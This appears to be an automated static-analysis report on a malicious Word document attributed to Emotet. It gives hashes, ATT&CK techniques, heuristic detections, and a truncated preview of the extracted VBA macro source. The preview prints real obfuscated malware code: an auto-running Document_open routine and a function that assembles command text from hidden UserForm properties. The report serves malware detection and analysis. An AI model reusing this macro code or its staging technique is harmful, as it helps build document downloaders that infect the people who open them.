Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 99911744f2eb9a25…

MALICIOUS

Office (OLE)

95.3 KB Created: 2019-12-18 22:09:00 Authoring application: Microsoft Office Word First seen: 2020-06-01
MD5: aa3aa210e1cbbb73a31eaf6fc13e3d30 SHA-1: d6541e8a7407cab5747d52082e13db237ed34557 SHA-256: 99911744f2eb9a25bcea1908566c040cfdfcf7c724b6114d3c07d4e13143d0e0
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical behavior for downloading and executing secondary payloads. The ClamAV detection explicitly names Emotet, providing strong family attribution. The macro's obfuscated nature and use of CreateObject suggest it is designed to execute arbitrary code.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7464930-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464930-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11000 bytes
SHA-256: 85646354822f474207c7388c28da3b9b8065405706f8cea7b437443a622dca8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rnuekdgnz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Aklhsdytvadu, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Fnwyraaizzj = Ogjykxkgdc
Yirgutaiekt = 820
Ileuznrbp = ("Laurie")
Lhnryicl = (672)
Dim Trjbegijg As Integer
Dim Rpcmgmeotoi As Integer
Dim Vmfjkwiigzo As Integer
Dim Suhisjqqtsle As String
Dim Xwsuldvgrazyk As Double
Dim Kqntktkhk As Boolean
Dim Xxbutesaklofd As Integer
Mchjtyul = (575)
Dim Ylhcnphx As Double
Xexgugjlt = ("Eos voluptate eos ab.")
Jekgizbcad = (603)
Dim Tvtkxxvghrjc As Double
Aompjrmro = Wepgulckmdkbv
Xpcsuhydzmq = Ufbhmobsganf
Vbqnrdvuxovm = "Enim commodi sit eveniet."
Bqtebhqgcdphk = 509
   Kqlqkuic = Aarzkjfwlsrg
Yzpnguntveyx = 568
Sctlzdxzxdrqf = ("Magni facere officia.")
Ukehuslfuvtig = (229)
Dim Bmhheiyfgf As Integer
Dim Blwqpswbutqie As Integer
Dim Yqgvqukcejyqo As Double
Dim Ybatjtxfe As Integer
Dim Dshvycxlap As Boolean
Dim Ddqjsgrbif As Integer
Dim Pikxdakcegrsu As Integer
Vtcupyqwqs = (457)
Dim Znpaxdlgp As Double
Izexfxmypjuvh = ("Josefina")
Zxymueuulo = (463)
Dim Tpjbvdutv As Boolean
Lzeuuwer = Ndnidxvoesjq
Jfhzrnnpoxnm = Zyhxhlglvt
Yfqrruill = "Nostrum maxime."
Fzuhxoqvrgk = 328
   Ftuoycmovq = Xnyirdfi
Kxjxzxkg = 755
Wqumxsmxeav = ("Omnis quos voluptas.")
Bhyicmebwdf = (701)
Dim Eacpepjcdgsll As Boolean
Dim Hdifajiqboh As Double
Dim Nanpdanl As Integer
Dim Vgamxagwqnn As String
Dim Uzinwkbawuhp As String
Dim Dikkfmomzzwk As Boolean
Dim Sqhothspunrb As Integer
Ylswthcngch = (144)
Dim Iajqmugi As String
Swwanoxtesa = ("Magnam est.")
Gaqisekegld = (107)
Dim Lxfgngsyaax As Double
Zijdodumcpv = Dvilksqyczn
Uvpgzsbde = Dxapcjhjuycxq
Eqqwjvgjizx = "Animi saepe."
Cjlytmimsav = 254
Odmoouhgcoht
End Sub

Attribute VB_Name = "Afvutucle"
Attribute VB_Base = "0{6D21C294-5A0A-46C4-9146-94AE55B0D5C4}{ECBC2FEA-BBAE-4612-B6FE-B738BF045118}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ixcmyxdxrtr"
Function Wzwxawzlswk()
   Dnasihwb = Fgfpxyxtmweo
Kgqeccvwwx = 687
Rjjjpfjvbvqq = ("Phil")
Oowkxpxphcqs = (890)
Dim Wjjhaghokdhye As String
Dim Opawhohzmz As Double
Dim Cbgswgkzsmip As Integer
Dim Zdtczkcftnq As String
Dim Kojxiblfmek As Integer
Dim Tvschkvupdfk As Integer
Dim Rwitcbpakio As String
Pimzjrhrgmq = (400)
Dim Awukdnimu As Integer
Lhjbskjng = ("Aliquam cumque modi.")
Mcdwssxkj = (948)
Dim Wasfzebrcv As Double
Obhfywdcz = Kshhuqojymyl
Mlfmptkmup = Myogpnmgin
Gbombvqqywmlx = "Debitis quod ut magnam."
Rjxxsmjdpu = 92
Xbvbgxrxhz = Rnuekdgnz.Aklhsdytvadu
   Bjvaaazo = Ebrbgfeiy
Fvdfpizttorkx = 780
Kgczsxalu = ("Vero ipsa atque id.")
Nadhssfd = (18)
Dim Sukszuwtmqt As Boolean
Dim Uxfyjzfk As String
Dim Nvzpmvyftkrsl As Boolean
Dim Scdrhtisz As String
Dim Muvdqeiyxx As Integer
Dim Kxolakicm As String
Dim Qxbsbdedahc As Integer
Jptnjnvks = (403)
Dim Tthihqgxycfg As Boolean
Hvsuzxiojb = ("Sed.")
Uszshxaizhv = (905)
Dim Kaekbejeccrd As Integer
Zkekgyqvnygv = Glzavypxd
Xalsqhpre = Uxoyeomgegwdy
Rhrechbc = "Sapiente quas necessitatibus ullam velit iure dolorem."
Fdxqqedeiqclx = 969
Ipiwqzcqevo = Xbvbgxrxhz + Afvutucle.Gkecxtky + Afvutucle.Tkmteuts + Afvutucle.Uizvcuedhy
   Pwbqcbdu = Pkaiykfojxne
Gbreyzwllbfk = 885
Quvnkmzu = ("Voluptas aut sed nesciunt.")
Uowdppoki = (33)
Dim Akzvaxdzyc As Integer
Dim Eyobaubu As Integer
Dim Kjkctwvnv As String
Dim Rpkwrjpwuydgk As Boolean
Dim Bnoqhmxwz As String
Dim Xdhdlhmfni As Integer
Dim Iklysggdz As Boolean
Uiyftmutkgf = (676)
Dim Oqmwtfewxh As Integer
Wofpsmlmo = ("Reprehenderit explicabo.")
Nctttotydyyj = (673)
Dim Kkuhswatzxxp As Double
Utzycuzualkh = Cgxfdvibqf
Vtcvvekbejz = Guqkiwlsr
Zsliksctcm
... (truncated)